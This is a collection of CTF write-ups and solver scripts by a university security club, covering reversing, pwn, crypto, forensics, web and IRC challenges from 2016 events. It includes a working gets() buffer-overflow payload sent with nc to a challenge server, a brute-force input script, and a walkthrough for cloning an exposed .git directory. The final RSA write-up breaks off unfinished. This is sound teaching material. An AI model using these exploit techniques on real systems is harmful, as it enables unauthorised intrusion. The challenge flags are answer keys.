37 | -------------------------------------------
38 | Checking....
39 | You did not pass 0
40 | ~~~
41 |
42 | It looks like this program might be checking for some input string and telling us how many characters are correct. Let's test this out.
43 |
44 | ~~~
45 | $ for c in {a..z} {A..Z}; do echo -n "$c$(perl -e "print 'a'x29")"| ./rock | grep pass; done;
46 | ...
47 | You did not pass 0
48 | You did not pass 0
49 | You did not pass 1
50 | You did not pass 0
51 | You did not pass 0
52 | You did not pass 0
53 | ...
54 | ~~~
55 |
56 | It looks like that worked. By counting we can tell that the first character is 'I'. Lets write something better to brute force the accepting string for us.
57 |
58 | ~~~python
59 | from subprocess import Popen, STDOUT, PIPE
60 | import re
61 | import string
62 |
63 | charset = []
64 | for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation:
65 | charset.append(c)
66 |
67 | inStr = list('0'*30)
68 | curIndex = 0
69 | charIndex = 0
70 |
71 | while 1:
72 | p = Popen("./rock", stdout=PIPE, stderr=PIPE, stdin=PIPE)
73 | o = p.communicate(input=''.join(inStr))[0]
74 | m = re.match(".*You did not pass (\d{1,2}).*", o, re.DOTALL)
75 | print ''.join(inStr)
76 | if not m:
77 | print o
78 | exit()
79 |
80 | newIndex = int(m.group(1))
81 | if newIndex > curIndex:
82 | print charset[charIndex]
83 | curIndex = newIndex
84 | charIndex = 0
85 | continue
86 |
87 | inStr[curIndex] = charset[charIndex]
88 | charIndex = charIndex + 1
89 | ~~~
90 |
91 | So we run the script...
92 |
93 | ~~~
94 | $ python solve_python.py
95 | ...
96 | Pass 27
97 | Pass 28
98 | Pass 29
99 | /////////////////////////////////
100 | Do not be angry. Happy Hacking :)
101 | /////////////////////////////////
102 | Flag{IoDJuvwxy\tuvyxwxvwzx{\z{vwxyz}
103 | ~~~
104 |
105 |
--------------------------------------------------------------------------------
/csaw2016-quals/rock/rock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2016-quals/rock/rock
--------------------------------------------------------------------------------
/csaw2016-quals/rock/solve_rock.py:
--------------------------------------------------------------------------------
1 | from subprocess import Popen, STDOUT, PIPE
2 | import re
3 | import string
4 |
5 | charset = []
6 | for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation:
7 | charset.append(c)
8 |
9 | inStr = list('0'*30)
10 | curIndex = 0
11 | charIndex = 0
12 |
13 | while 1:
14 | p = Popen("./rock", stdout=PIPE, stderr=PIPE, stdin=PIPE)
15 | o = p.communicate(input=''.join(inStr))[0]
16 | m = re.match(".*You did not pass (\d{1,2}).*", o, re.DOTALL)
17 | print ''.join(inStr)
18 | if not m:
19 | print o
20 | exit()
21 |
22 | newIndex = int(m.group(1))
23 | if newIndex > curIndex:
24 | print charset[charIndex]
25 | curIndex = newIndex
26 | charIndex = 0
27 | continue
28 |
29 | inStr[curIndex] = charset[charIndex]
30 | charIndex = charIndex + 1
31 |
--------------------------------------------------------------------------------
/csaw2016-quals/warmup/README.md:
--------------------------------------------------------------------------------
1 | # CSAW 2016 Quals
2 | # warmup
3 | ##### Brad Daniels -- USF Whitehatter's Computer Security Club
4 | ##### pwn -- 50 points
5 | ## Description
6 | So you want to be a pwn-er huh? Well let's throw you an easy one ;)
7 |
8 | `nc pwn.chal.csaw.io 8000`
9 |
10 | ## Solution
11 | Warmup gives you a 64-bit ELF binary. When run, it produces the following output and allows the user to enter a string.
12 | ~~~
13 | sh$ ./warmup
14 | -Warm Up-
15 | WOW:0x40060d
16 | >
17 | sh$
18 | ~~~
19 | Each time it's run, it produces the same "WOW" hex value, `0x40060d`.
20 |
21 | Lets open the file in gdb to see what's going on.
22 |
23 | ~~~
24 | sh$ gdb warmup
25 | (gdb) info functions
26 | All defined functions:
27 |
28 | Non-debugging symbols:
29 | 0x0000000000400488 _init
30 | 0x00000000004004c0 write@plt
31 | 0x00000000004004d0 system@plt
32 | 0x00000000004004e0 __libc_start_main@plt
33 | 0x00000000004004f0 __gmon_start__@plt
34 | 0x0000000000400500 gets@plt
35 | 0x0000000000400510 sprintf@plt
36 | 0x0000000000400520 _start
37 | 0x0000000000400550 deregister_tm_clones
38 | 0x0000000000400580 register_tm_clones
39 | 0x00000000004005c0 __do_global_dtors_aux
40 | 0x00000000004005e0 frame_dummy
41 | 0x000000000040060d easy
42 | 0x000000000040061d main
43 | 0x00000000004006b0 __libc_csu_init
44 | 0x0000000000400720 __libc_csu_fini
45 | 0x0000000000400724 _fini
46 | (gdb)
47 | ~~~
48 |
49 | The one function that sticks out here is "easy". If we disasemble it we see that it calls `system("cat flag.txt")`
50 |
51 | ~~~
52 | (gdb) disas easy
53 | Dump of assembler code for function easy:
54 | 0x000000000040060d <+0>: push rbp
55 | 0x000000000040060e <+1>: mov rbp,rsp
56 | 0x0000000000400611 <+4>: mov edi,0x400734
57 | 0x0000000000400616 <+9>: call 0x4004d0
58 | 0x000000000040061b <+14>: pop rbp
59 | 0x000000000040061c <+15>: ret
60 | End of assembler dump.
61 | (gdb) x/s 0x400734
62 | 0x400734: "cat flag.txt"
63 | (gdb)
64 | ~~~
65 |
66 | The main function ends with a `gets()` call followed by the `leave` and `ret` instructions. Since `gets()` is vulnerable to buffer overflows, we should be able to overwrite the return address of the main function and replace it with the address of "easy".
67 |
68 | Let's set a breakpoint after the call to `gets()`, enter some text, and observe what happens on the stack.
69 |
70 | ~~~
71 | (gdb) b * 0x00000000004006a3
72 | Breakpoint 1 at 0x4006a3
73 | (gdb) r
74 | Starting program: ./warmup
75 | -Warm Up-
76 | WOW:0x40060d
77 | >aaaaaaaa
78 |
79 | Breakpoint 1, 0x00000000004006a3 in main ()
80 | (gdb) p $rbp
81 | $4 = (void *) 0x7fffffffe360
82 | (gdb) p $rsp
83 | $5 = (void *) 0x7fffffffe2e0
84 | (gdb) x/20gz $rsp
85 | 0x7fffffffe2e0: 0x6430363030347830 0x000000000000000a
86 | 0x7fffffffe2f0: 0x0000000000000000 0x0000000000000000
87 | 0x7fffffffe300: 0x0000000000000000 0x0000000000000000
88 | 0x7fffffffe310: 0x0000000000000000 0x0000000000000000
89 | 0x7fffffffe320: 0x6161616161616161 0x0000000000400600
90 | 0x7fffffffe330: 0x0000000000000000 0x0000000000000000
91 | 0x7fffffffe340: 0x00000000004006b0 0x0000000000400520
92 | 0x7fffffffe350: 0x00007fffffffe440 0x0000000000000000
93 | 0x7fffffffe360: 0x00000000004006b0 0x00007ffff7a2e830
94 | 0x7fffffffe370: 0x0000000000000000 0x00007fffffffe448
95 | (gdb)
96 | ~~~
97 | At `0x7fffffffe360` is the previous stack frame base pointer, and in the following word at `0x7fffffffe368` sits the return address of the `main` function. That is what we need to overwrite.
98 |
99 | Since the current return address is 6 bytes, we need our injected address to overwrite all those bytes. If we don't include two extra null bytes, our return address will wind up being `0x00007fff0040060d`, which will cause a segfault. `gets()` allows us to include null bytes in our string so this should be easy.
100 |
101 | We can use a perl one-liner to easily prepare a suitable injection string.
102 | ~~~
103 | sh$ perl -e 'print "a"x72; print "\x0d\x06\x40\x00\x00"' > egg.txt
104 | sh$ nc pwn.chal.csaw.io 8000 < egg.txt
105 | -Warm Up-
106 | WOW:0x40060d
107 | >FLAG{LET_US_BEGIN_CSAW_2016}
108 | ~~~
109 |
--------------------------------------------------------------------------------
/csaw2016-quals/warmup/warmup:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2016-quals/warmup/warmup
--------------------------------------------------------------------------------
/hackthevote-2016/README.md:
--------------------------------------------------------------------------------
1 | # Hack The Vote 2016
2 |
3 | [CTF Time](https://ctftime.org/event/345) | [Official Site](https://pwn.voting/)
4 |
5 | [WCSC](https://ctftime.org/team/315) finished with rank 157 out of 1030 teams total
6 |
7 |
--------------------------------------------------------------------------------
/hackthevote-2016/vermatrix_supreme/README.md:
--------------------------------------------------------------------------------
1 | # Vermatrix Supreme - [100] Crypto
2 |
3 | **Kevin Orr** - [USF Whitehatters Computer Security Club (WCSC)](https://ctftime.org/team/315)
4 |
5 |
6 | ### Description
7 |
8 | > Working in IT for a campaign is rough; especially when your candidate uses his password as
9 | > the IV for your campaign's proprietary encryption scheme, then subsequently forgets it.
10 | > See if you can get it back for him. The only hard part is, he changes it whenever he feels
11 | > like it.
12 | >
13 | > `nc vermatrix.pwn.democrat 4201`
14 | >
15 | > [handout](https://s3.amazonaws.com/hackthevote/handout.4838bbdb8619b3a581352c628c6b0b86475b94c9519347a520c90cf1822351ae.py)
16 | >
17 | > author's irc nick: negasora
18 |
19 |
20 | ### Examination
21 |
22 | The flag given on line 3 of `handout.py`: `flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}`.
23 | No it's not. I wasted my time.
24 |
25 | When the script is run, it outputs the current seed and a 3x3 matrix of integers.
26 | After reading a few times through the script, it becomes apparent that it implements
27 | a [block cipher](https://en.wikipedia.org/wiki/Block_cipher) of sorts.
28 | Since the plaintext and true IV are completely null, the
29 | [mode of operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation) could be
30 | classified as a CBC, PCBC, CFB, or OFB (and possibly others). In addition, every block of
31 | ciphertext except the last is ignored. Regardless, examining the function `chall()`,
32 | it is characterized by the following relationship:
33 |
34 | C[0] := zeros()
35 | C[i] := E(C[i-1], key[i])
36 |
37 | where `E(C, k)` is the block cipher, `key[0] := IV`, and `key[1:] := seed`.
38 |
39 | Examining the block cipher in the function `fixmatrix(matrixa, matrixb)`, specifically line 33:
40 |
41 | out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn]))
42 |
43 | If we extend the bitwise operations `|`, `&`, and `~` so that they can operate elementwise
44 | on a matrix, we can rewrite the assignment above in the psuedocode:
45 |
46 | out = (transpose(matrixa) | matrixb) & ~(transpose(matrixa) & matrixb)
47 |
48 | It's immediately apparent that this "encryption cipher" is a simple `xor`, i.e.
49 |
50 | out = transpose(matrixa) ^ matrixb
51 |
52 |
53 | ### Solution
54 |
55 | We can rewrite the relationships before with this new knowledge:
56 |
57 | C[0] := zeros()
58 | C[i] := xor(C[i-1], key[i])
59 |
60 | This means that
61 |
62 | C[i-1] := xor(C[i], key[i])
63 |
64 | Also:
65 |
66 | C[i-1] := xor(C[i], key[i])
67 | key[i] := xor(C[i], C[i-1])
68 | key[0] (=IV) := xor(C[1], C[0]) = xor(C[1], zeros()) = C[1]
69 |
70 |
71 | So our solution is simple: `xor` the end of the key to the result matrix, use that result
72 | as the new end of the key, and recurse, until reaching C[1], which should equal the IV!
73 | Running [`sol.py`](sol.py) reverses the encryption and obtains the IV. It then sends this
74 | IV (encoded as a string of comma-delimited integers) and outputs the flag that the server
75 | sends back.
76 |
77 | ### Flag
78 |
79 | `flag{IV_wh4t_y0u_DiD_Th3r3}`
80 |
--------------------------------------------------------------------------------
/hackthevote-2016/vermatrix_supreme/handout.py:
--------------------------------------------------------------------------------
1 | import sys, random, time
2 |
3 | flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}"
4 |
5 | def printmat(matrix):
6 | for row in matrix:
7 | for value in row:
8 | print value,
9 | print ""
10 | print ""
11 |
12 |
13 | def pad(s):
14 | if len(s)%9 == 0:
15 | return s
16 | for i in xrange((9-(len(s)%9))):
17 | s.append(0)
18 | return s
19 |
20 | def genBlockMatrix(s):
21 | outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)]
22 | for matnum in xrange(0,len(s)/9):
23 | for y in xrange(0,3):
24 | for x in xrange(0,3):
25 | outm[matnum][y][x] = s[(matnum*9)+x+(y*3)]
26 | return outm
27 |
28 |
29 | def fixmatrix(matrixa, matrixb):
30 | out = [[0 for x in xrange(3)] for x in xrange(3)]
31 | for rn in xrange(3):
32 | for cn in xrange(3):
33 | out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn]))
34 | return out
35 |
36 |
37 | def chall():
38 | IV = [c for c in '?????????']
39 | seed = "??????????????????"
40 |
41 |
42 | blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed]))
43 |
44 | res = [[0 for i in xrange(3)] for i in xrange(3)]
45 | for i in xrange(len(blocks)):
46 | res = fixmatrix(res, blocks[i])
47 |
48 |
49 | print "SEED: " + str(seed)
50 | printmat(res)
51 |
52 | data = raw_input("")
53 |
54 | data = data.replace(' ', '').strip().split(',')
55 |
56 | if len(data) != 9:
57 | return False
58 |
59 | for i in xrange(len(IV)):
60 | if str(IV[i]) != str(data[i]):
61 | return False
62 |
63 | return True
64 |
65 |
66 | if chall():
67 | print flag
68 |
69 |
--------------------------------------------------------------------------------
/hackthevote-2016/vermatrix_supreme/sol.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import socket
4 | import re
5 | import itertools
6 | import sys
7 |
8 | # From https://docs.python.org/3/library/itertools.html#itertools-recipes
9 | def grouper(iterable, n, fillvalue=None):
10 | "Collect data into fixed-length chunks or blocks"
11 | # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx
12 | args = [iter(iterable)] * n
13 | return itertools.zip_longest(*args, fillvalue=fillvalue)
14 |
15 | def xor(mat_a, mat_b):
16 | res = [[0]*3 for i in range(3)]
17 | for col in range(3):
18 | for row in range(3):
19 | res[row][col] = mat_a[row][col] ^ mat_b[row][col]
20 |
21 | return res;
22 |
23 | # matrix transpose
24 | def t(mat):
25 | return [list(row) for row in zip(*mat)]
26 |
27 | # Connect
28 | s = socket.socket()
29 | s.connect(('vermatrix.pwn.democrat', 4201))
30 |
31 | # Get challenge text
32 | text = s.recv(4096).decode('utf-8')
33 | print(text, end='\n')
34 |
35 | # Get seed
36 | seed = re.match('SEED: (.+)', text.split('\n')[0]).groups()[0]
37 | print('seed: {}'.format(seed))
38 | seed_mats = [[[0]*3 for i in range(3)] for j in range(len(seed)//9)]
39 | for mat in range(len(seed)//9):
40 | for row in range(3):
41 | for col in range(3):
42 | seed_mats[mat][row][col] = ord(seed[mat*9 + row*3 + col])
43 | print('seed matrices: {}'.format(seed_mats))
44 |
45 | # Get encoded result into block
46 | encoded = [[int(i) for i in line.split()] for line in text.rstrip('\n').split('\n')[1:]]
47 | print('encoded result given to us: {}'.format(encoded))
48 |
49 |
50 | # Get IV
51 | current_block = encoded
52 | for seed_block in reversed(seed_mats):
53 | current_block = t(xor(current_block, seed_block))
54 | print('\nhopefully the IV: {}'.format(current_block))
55 |
56 | # Encode IV
57 | encoded_iv = ','.join(str(i) for i in list(itertools.chain(*current_block)))
58 | print('encoded IV: {}'.format(repr(encoded_iv)))
59 |
60 | s.send((encoded_iv + '\n').encode('utf-8'))
61 | print(s.recv(4096).decode('utf-8'))
62 |
--------------------------------------------------------------------------------
/hackthevote-2016/warp_speed/README.md:
--------------------------------------------------------------------------------
1 | # Warp Speed - [150] Forensics
2 |
3 | **Kevin Orr** - [USF Whitehatter's Computer Security Club](https://ctftime.org/team/315)
4 |
5 | ### Description
6 |
7 | > Our Trump advertising campaign is incredible, it's skyrocketing! It's astronomical! Wait stop!! SLOW DOWN!!!
8 | >
9 | > [warp_speed.jpg](https://s3.amazonaws.com/hackthevote/warp_speed.5978d1405660e365872cf72dddc7515603f657f12526bd61e56feacf332cccad.jpg)
10 |
11 | ### Solution
12 |
13 | We are given the following image:
14 |
15 | 
16 |
17 | The name "Trump" is visible on the image, though the entire image seems to be askew. It appears that individual "strips" (size 504x8)
18 | of the image have been reflowed into an image of size 1000x250. Using the python library [pillow](https://python-pillow.org/),
19 | this image can be relowed so that each strip is directly below the one on top, and with no hoizontal shift. [`sol.py`](sol.py)
20 | accomplishes this transformation and outputs the following image:
21 |
22 | 
23 |
24 | ### Flag
25 |
26 | `flag{1337_ph0t0_5k1lls}`
27 |
--------------------------------------------------------------------------------
/hackthevote-2016/warp_speed/flag:
--------------------------------------------------------------------------------
1 | flag{1337_ph0t0_5k1lls}
2 |
--------------------------------------------------------------------------------
/hackthevote-2016/warp_speed/sol.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import math
4 | from PIL import Image
5 |
6 | STRIP_WIDTH = 504
7 | STRIP_HEIGHT = 8
8 |
9 | def unwrap(im, strip_height=STRIP_HEIGHT):
10 | out_im = Image.new(im.mode, (int(math.ceil(im.size[0]*im.size[1]/strip_height)), strip_height))
11 |
12 | line = 0
13 | while line * strip_height < im.size[1]:
14 | rect = im.crop((0, line * strip_height, im.size[0], (line+1) * strip_height))
15 | rect.load()
16 | out_im.paste(rect, (line * im.size[0], 0, (line+1) * im.size[0], strip_height))
17 |
18 | line += 1
19 |
20 | return out_im
21 |
22 | def collate(im, strip_width=STRIP_WIDTH, strip_height=STRIP_HEIGHT):
23 | out_im = Image.new(im.mode, (strip_width, int(math.ceil(im.size[0]/strip_width)) * strip_height))
24 |
25 | line = 0
26 | while line * strip_width < im.size[0]:
27 | rect = im.crop((line * strip_width, 0, (line+1) * strip_width, strip_height))
28 | rect.load()
29 | out_im.paste(rect, (0, line * strip_height, strip_width, (line+1) * strip_height))
30 |
31 | line += 1
32 |
33 | return out_im
34 |
35 | image = Image.open('warp_speed.jpg')
36 | fixed_image = collate(unwrap(image)).rotate(90)
37 | fixed_image.save('warp_speed_fixed.jpg')
38 |
39 |
--------------------------------------------------------------------------------
/hackthevote-2016/warp_speed/warp_speed.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/hackthevote-2016/warp_speed/warp_speed.jpg
--------------------------------------------------------------------------------
/hackthevote-2016/warp_speed/warp_speed_fixed.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/hackthevote-2016/warp_speed/warp_speed_fixed.jpg
--------------------------------------------------------------------------------
/icectf-2016/Exposed/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016 - Exposed
2 | ### Solution By: Nullp0inter
3 |
4 | # Exposed! Web 60pts
5 | John is pretty happy with himself, he just made his first website! He used all the hip and cool systems, like NginX, PHP and Git! Everyone is so happy for him, but can you get him to give you the flag?
6 |
7 | # Solution:
8 | This one was pretty easy if you knew that git was the vulnerability. We are given a site and told its running php, nginx, and git but
9 | if you visit the site and attempt to the /.git path, the url changes and gives you a little message but it turns out thats not enough
10 | to stop you if you knew what you were looking for. Because this site had a public facing .git directory we can simply git clone the site by running
11 | `git clone http://exposed.vuln.icec.tf/.git`. Now you have some options here: You can do this challenge the hardway by manually reverting to older revisions
12 | and grepping all files for the flag, but you'll come up with two fake flags that way, *ORRRRR* the better way is to just use gitg and look through the changes and in
13 | the revision with the comment "added colors", in index.php you can see the flag `IceCTF{secure_y0ur_g1t_repos_pe0ple}`.
14 |
--------------------------------------------------------------------------------
/icectf-2016/IRC1/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | ## Solution By: Nullp0inter
3 |
4 | # IRC 1 Misc 35pts
5 | There is someone sharing flags on our IRC server, can you find him and stop him? glitch.is:6667
6 |
7 | # Solution:
8 | We are told someone is sharing flags on the IRC server and we are asked to find him. All you need to
9 | do is log into the IRC (easily done via their web client) and run a whois query on Glitch,
10 | the creator of the challenge:
11 |
12 | ```
13 | Glitch (~Glitch@localhost): Hlynur
14 | Glitch is on the following channels: @#78a99bb_flagshare @#IceCTF @#Glitch
15 | Glitch is connected to irc.glitch.is
16 | Glitch is away (Auto away at Sat Aug 27 00:27:01 2016)
17 | ```
18 |
19 | Hmm, he is an op over at `#78a99bb_flagshare`. Odd, let's join that with `/join #78a99bb_flagshare`.
20 | Once you join look at the channel topic:
21 |
22 | ```
23 | The topic is: Want flags? We got 'em! IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}
24 | ```
25 |
26 | Flag: `IceCTF{pL3AsE_D0n7_5h4re_fL495_JUsT_doNT}`
27 |
--------------------------------------------------------------------------------
/icectf-2016/IRC2/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016
2 | ## Solution By: Nullp0inter
3 |
4 | # IRC 2 -Misc- 60pts
5 | Can you trick our IRC bot into giving you his flag? Talk to IceBot on glitch.is:6667. Please only send him private messages, you do this by writing /msg IceBot !command. the "help" command has been removed so here is the output from !help. Please consider that he may be slow to respond or the command you're trying may not work.
6 |
7 | # Solution:
8 |
9 | So we are told once again to return to the IRC to see if we can trick him into giving us the flag.
10 | They gave us a text file that lists all of the commands (this is due to a sopel bug where too many
11 | requests to the help command can actually "DDoS" the bot). Taking a look at the list we see a command
12 | that should probably stand out to everyone, `!flag`. If we go to IRC and try to just message him this
13 | as we are told to do it, `/msg IceBot !flag`, he will spit back an ugly looking python error:
14 |
15 | ```
16 | KeyError: Identifier('nullp0inter') (file "/usr/local/lib/python2.7/dist-packages/sopel/module.py", line 321, in guarded)
17 | ```
18 |
19 | Now I am sure this is where a TON of people got stuck (considering this had under 200 solves) and,
20 | like me initially, ran off to research the bots backend and sopel. If you searched long enough and
21 | happened to be paying attention, you would find the error is related to you not having permissions,
22 | i.e. not being OP. You could also waited for someone to forget the part about PM'ing the bot and try
23 | to issue !flag in the channel (which happened quite a bit) and you would see:
24 |
25 | ```
26 | 06:66 nullp0inter !flag
27 | 06:66 +IceBot I'm sorry, you're not a channel operator
28 | ```
29 |
30 | Not a channel OP? Easy fix, simply join a selfnamed channel, for me that is `/join nullp0inter` then
31 | invite the bot to it, `/invite IceBot`. IceBot should then join your channel where you are an OP.
32 | All thats left to do is issue `!flag` and presto:
33 |
34 | ```
35 | nullp0inter !flag
36 | IceBot IceCTF{H3Re_y0U_9O_M4s7Er_m4kE_5uR3_yOU_K33P_iT_54F3}
37 | ```
38 |
39 | There is the flag:
40 | `IceCTF{H3Re_y0U_9O_M4s7Er_m4kE_5uR3_yOU_K33P_iT_54F3}`
41 | _____
42 | **_NOTE_** I have seen a few people quite literally joined my channel on glitch.is and try `!flag`. Please note that if you
43 | *literally* try `/join nullp0inter` you will literally be joining a channel with me that I am the sole op of. Instead as I
44 | mentioned you should do a `/join ` where name is **_your_** username. That is to say that if your nick on the IRC is
45 | `xxmlgsniper420yolo` then the command you'll want to use is `/join xxmlgsniper420yolo`. Hopefully this clears up any confusion
46 |
47 | **_ALTERNATIVELY_** You can simply join a nonsense channel and hope that you were the first to attempt to join such a channel.
48 | One example that I did, and please don't try this one as I am already the op of it, is `/join #binsoutforharambe`. If you try nonsense
49 | names for the channel, chances are you'll probably have been the first to do it. The idea is that when you join the channel, you
50 | are listed as an `Operator`. If you are not listed as an `Operator` IceBot will tell you so and refuse to give you the flag.
51 |
--------------------------------------------------------------------------------
/icectf-2016/Over-the-Hill/OverTheHill.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import numpy as np
3 | import math
4 | from numpy import linalg
5 |
6 | def modMatInv(A,p): # Finds the inverse of matrix A mod p
7 | n=len(A)
8 | A=np.matrix(A)
9 | adj=np.zeros(shape=(n,n))
10 | for i in range(0,n):
11 | for j in range(0,n):
12 | adj[i][j]=((-1)**(i+j)*int(round(linalg.det(minor(A,j,i)))))%p
13 | return (modInv(int(round(linalg.det(A))),p)*adj)%p
14 |
15 | def modInv(a,p): # Finds the inverse of a mod p, if it exists
16 | for i in range(1,p):
17 | if (i*a)%p==1:
18 | return i
19 | raise ValueError(str(a)+" has no inverse mod "+str(p))
20 |
21 | def minor(A,i,j): # Return matrix A with the ith row and jth column deleted
22 | A=np.array(A)
23 | minor=np.zeros(shape=(len(A)-1,len(A)-1))
24 | p=0
25 | for s in range(0,len(minor)):
26 | if p==i:
27 | p=p+1
28 | q=0
29 | for t in range(0,len(minor)):
30 | if q==j:
31 | q=q+1
32 | minor[s][t]=A[p][q]
33 | q=q+1
34 | p=p+1
35 | return minor
36 |
37 |
38 | alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789_{}"
39 | mod = len(alphabet)
40 |
41 | matrix = [[54, 53, 28, 20, 54, 15, 12, 7],
42 | [32, 14, 24, 5, 63, 12, 50, 52],
43 | [63, 59, 40, 18, 55, 33, 17, 3],
44 | [63, 34, 5, 4, 56, 10, 53, 16],
45 | [35, 43, 45, 53, 12, 42, 35, 37],
46 | [20, 59, 42, 10, 46, 56, 12, 61],
47 | [26, 39, 27, 59, 44, 54, 23, 56],
48 | [32, 31, 56, 47, 31, 2, 29, 41]]
49 |
50 | ciphertext = "7Nv7}dI9" + "hD9qGmP}" + "CR_5wJDd" + "kj4CKxd4" + "5rko1cj5" + "1DpHPnND" + "b__EXDot" + "SRCP8ZCQ"
51 |
52 | ct = [ciphertext[i:i+8] for i in range(0, len(ciphertext), 8)]
53 |
54 | mm = np.matrix(matrix)
55 | mi = modMatInv(matrix, mod)
56 |
57 |
58 | c = np.matrix([[alphabet.index(x) for x in c] for c in ct]).tolist()
59 | ctrans = np.matrix(c).transpose().tolist()
60 |
61 |
62 | def solve(strng):
63 | msg = np.matrix([alphabet.index(c) for c in strng]).transpose()
64 | msg = np.remainder(np.dot(mi, msg), mod).tolist()
65 |
66 | flag = ""
67 | for x in [alphabet[int(c[0])] for c in msg]:
68 | flag += x
69 | return flag
70 |
71 | flag = ""
72 | for x in ct:
73 | flag += solve(x)
74 |
75 | print flag
76 |
--------------------------------------------------------------------------------
/icectf-2016/RSA1/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF RSA 1
2 | ### Solved By: Nullp0inter
3 |
4 | # RSA? Cryptography 50pts
5 | John was messing with RSA again... he encrypted our flag! I have a strong feeling he had no idea what he was doing however, can you get the flag for us? flag.txt
6 |
7 | # Solution
8 | We are provided a file, `flag.txt` which contains three variables for RSA encryption:
9 |
10 | ```
11 | N=0x180be86dc898a3c3a710e52b31de460f8f350610bf63e6b2203c08fddad44601d96eb454a34dab7684589bc32b19eb27cffff8c07179e349ddb62898ae896f8c681796052ae1598bd41f35491175c9b60ae2260d0d4ebac05b4b6f2677a7609c2fe6194fe7b63841cec632e3a2f55d0cb09df08eacea34394ad473577dea5131552b0b30efac31c59087bfe603d2b13bed7d14967bfd489157aa01b14b4e1bd08d9b92ec0c319aeb8fedd535c56770aac95247d116d59cae2f99c3b51f43093fd39c10f93830c1ece75ee37e5fcdc5b174052eccadcadeda2f1b3a4a87184041d5c1a6a0b2eeaa3c3a1227bc27e130e67ac397b375ffe7c873e9b1c649812edcd
12 |
13 | e=0x1
14 |
15 | c=0x4963654354467b66616c6c735f61706172745f736f5f656173696c795f616e645f7265617373656d626c65645f736f5f63727564656c797d
16 | ```
17 |
18 | `N` is known as the public modulus and is defined as `N = p * q` where `p` and `q` are two prime numbers. `e` is known as the public exponent and is used in both encryption and decrypting. `c` is what is called the cipher text and is the encrypted message we are trying to break, containing of course the flag.
19 |
20 | This challenge has a trick to it that is pretty obvious if you know two things: firstly how RSA
21 | encryption is decrypted and secondly how the modulus operator works when we have `A mod B` where
22 | `B` is larger than `A`, in which case the result is just `A`.
23 |
24 | Looking at the [wikipedia page](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) for RSA we can see
25 | that decryption is done with the private key exponent, `d`. With a little more reading we can also
26 | see that `ed = 1 mod phi` and that `phi = p * q`. Based on that math we know that phi is going to
27 | pretty darn big considering how large `N` is. Now you could actually bother factoring `N` to get
28 | `p` and `q` (for which I recommend using [yafu](https://sourceforge.net/projects/yafu/))but if you
29 | see the trick here you don't even need that!
30 |
31 | Remember what I mentioned about modulus when the right number is way bigger than the left?
32 | Well here we have `ed = 1 mod phi`. We were already *told* that `e = 0x1` which is just `1` so we
33 | sub that in and now we have `d = 1 mod phi`. Well `phi` is *way* bigger than 1, so the result is
34 | just `d = 1`. Great we have `d` so now what? Again there is an easy way and a hard way here.
35 | Sure you can read the math on the wikipedia page (or elsewhere) and decrypt it manually...*OR* you
36 | can simply use this [online RSA calculator](http://nmichaels.org/rsa.py "Online RSA Tool") and put
37 | `d` and `c` in the correct places (making sure to tick the C has a hex string option under the text
38 | box and remove the 0x from the fron), then click 'decrypt'. 'WAIT A SECOND' I can hear some of you
39 | scream, 'it just returned a bunch of hex!'.
40 |
41 | ```
42 | 0x49 0x63 0x65 0x43 0x54 0x46 0x7b 0x66 0x61 0x6c 0x6c 0x73 0x5f 0x61 0x70 0x61 0x72 0x74 0x5f 0x73 0x6f 0x5f 0x65 0x61 0x73 0x69 0x6c 0x79 0x5f 0x61 0x6e 0x64 0x5f 0x72 0x65 0x61 0x73 0x73 0x65 0x6d 0x62 0x6c 0x65 0x64 0x5f 0x73 0x6f 0x5f 0x63 0x72 0x75 0x64 0x65 0x6c 0x79 0x7d
43 | ```
44 |
45 | Well fret not, even though the tool is nice, it isn't nice enough to give us our string directly but
46 | the hex is all we need. Simply copy and paste it into an [online hex-to-ascii conversion tool](http://www.rapidtables.com/convert/number/hex-to-ascii.htm "Online Hex to ASCII")
47 | and claim your prize!
48 |
49 | flag is: `IceCTF{falls_apart_so_easily_and_reassembled_so_crudely}`
50 |
--------------------------------------------------------------------------------
/icectf-2016/RSA2/README.md:
--------------------------------------------------------------------------------
1 | # IceCTF 2016 RSA 2
2 | ## Solution By: Nullp0inter
3 |
4 | # RSA2 Cryptography 90 pts
5 |
6 | I guess the 3rd time is the charm? Or not... flag.txt
7 |
8 | # Solution:
9 |
10 | For this challenge we were given a text file that contained the following:
11 |
12 | ```
